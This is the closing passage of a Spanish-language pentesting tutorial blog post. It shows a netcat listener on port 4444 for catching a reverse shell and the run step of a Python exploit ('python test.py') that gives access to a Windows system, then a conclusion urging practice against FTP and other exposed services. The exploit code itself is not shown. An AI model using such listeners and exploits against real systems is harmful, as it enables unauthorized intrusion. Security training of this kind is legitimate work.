nc -lvp 4444
Y ejecutaras el exploit en python.
python test.py
Y obtenemos acceso al sistema.
 Ahora si tenes un poco de conocimiento para poder acceder a un sistema.

CONCLUSIÓN

Esto fue unos de los métodos de KALI LINUX o del curso de offsensive security en el cual vos solo tenias que atacar o pensar que tipo de herramienta tenia para acceder.
Obviamente al empezar este post estaba muy enojado por las personas pensaron que solo ataque a windows XP cuando esto funciona en windows 7. Ademas hemos vulnerado a la aplicación, ahora solo te falta practicar un poco con diferente tipo de herramienta que este conectada a un puerto, como FTP, etc…
No te olvides en compartirlo para poder publicando más sobre pentesting, ahora puede ser el siguiente post para LINUX.
GRACIAS

Publicar un comentario

0 Comentarios